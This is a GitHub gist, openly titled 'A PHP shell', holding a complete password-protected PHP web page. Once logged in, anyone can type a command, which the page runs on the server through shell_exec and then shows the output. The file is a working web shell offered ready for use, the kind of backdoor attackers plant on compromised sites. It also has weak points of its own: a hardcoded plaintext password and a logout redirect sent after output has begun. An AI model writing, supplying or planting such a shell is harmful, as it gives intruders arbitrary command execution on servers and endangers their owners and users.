Created
May 28, 2024 23:22
-
-
Save ElliNet13/0e14b328870d66cb7ef7b7ec79d6d676 to your computer and use it in GitHub Desktop.
A PHP shell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Start session | |
session_start(); | |
// Set your desired password here | |
$password = "password_goes_here"; | |
// Check if the user is already logged in | |
if(isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true) { | |
// User is logged in, display the shell | |
echo "<div style='background-color: #f0f0f0; padding: 20px; border-radius: 10px;'>"; | |
echo "<h1 style='color: #333;'>Welcome to the PHP shell!</h1>"; | |
echo "<p style='color: #666;'>You are logged in.</p>"; | |
echo "<a href='?logout=true' style='color: #069;'>Logout</a>"; | |
// Add your shell functionality here | |
echo "<pre style='background-color: #eee; padding: 10px; border-radius: 5px;'>"; | |
if(isset($_POST['command'])) { | |
$output = shell_exec($_POST['command']); | |
echo "<strong>Command:</strong> " . htmlspecialchars($_POST['command']) . "\n"; | |
echo "<strong>Output:</strong>\n" . htmlspecialchars($output) . "\n"; | |
} | |
echo "</pre>"; | |
echo "</div>"; | |
} elseif(isset($_POST['password']) && $_POST['password'] === $password) { | |
// Password is correct, set session and display the shell | |
$_SESSION['loggedin'] = true; | |
echo "<div style='background-color: #f0f0f0; padding: 20px; border-radius: 10px;'>"; | |
echo "<h1 style='color: #333;'>Welcome to the PHP shell!</h1>"; | |
echo "<p style='color: #666;'>You are logged in.</p>"; | |
echo "<a href='?logout=true' style='color: #069;'>Logout</a>"; | |
// Add your shell functionality here | |
echo "<pre style='background-color: #eee; padding: 10px; border-radius: 5px;'>"; | |
if(isset($_POST['command'])) { | |
$output = shell_exec($_POST['command']); | |
echo "<strong>Command:</strong> " . htmlspecialchars($_POST['command']) . "\n"; | |
echo "<strong>Output:</strong>\n" . htmlspecialchars($output) . "\n"; | |
} | |
echo "</pre>"; | |
echo "</div>"; | |
} elseif(isset($_POST['password'])) { | |
// Password is incorrect, display the login screen again | |
echo "<div style='background-color: #f0f0f0; padding: 20px; border-radius: 10px;'>"; | |
echo "<h1 style='color: #333;'>Incorrect password!</h1>"; | |
echo "<a href='.' style='color: #069;'>Try again</a>"; | |
echo "</div>"; | |
} | |
// Handle logout | |
if(isset($_GET['logout'])) { | |
$_SESSION['loggedin'] = false; | |
session_destroy(); | |
header("Location: ."); // Redirect to refresh the page | |
exit; | |
} | |
?> | |
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
<title>PHP Shell</title> | |
<style> | |
body { | |
font-family: Arial, sans-serif; | |
background-color: #f7f7f7; | |
margin: 0; | |
padding: 0; | |
display: flex; | |
justify-content: center; | |
align-items: center; | |
height: 100vh; | |
} | |
.container { | |
background-color: #fff; | |
border-radius: 8px; | |
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); | |
padding: 20px; | |
max-width: 400px; | |
width: 100%; | |
} | |
h1, p, label { | |
color: #333; | |
margin: 0 0 10px 0; | |
} | |
input[type="password"], input[type="text"], input[type="submit"] { | |
width: calc(100% - 20px); | |
padding: 10px; | |
border-radius: 5px; | |
border: 1px solid #ccc; | |
margin-bottom: 10px; | |
} | |
input[type="submit"] { | |
background-color: #069; | |
color: #fff; | |
border: none; | |
cursor: pointer; | |
} | |
input[type="submit"]:hover { | |
background-color: #057; | |
} | |
</style> | |
</head> | |
<body> | |
<div class="container"> | |
<?php if(!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true): ?> | |
<form method="post"> | |
<label for="password">Password:</label><br> | |
<input type="password" id="password" name="password"><br> | |
<input type="submit" value="Login"> | |
</form> | |
<?php else: ?> | |
<form method="post"> | |
<label for="command">Command:</label><br> | |
<input type="text" id="command" name="command"><br> | |
<input type="submit" value="Run"> | |
</form> | |
<?php endif; ?> | |
</div> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment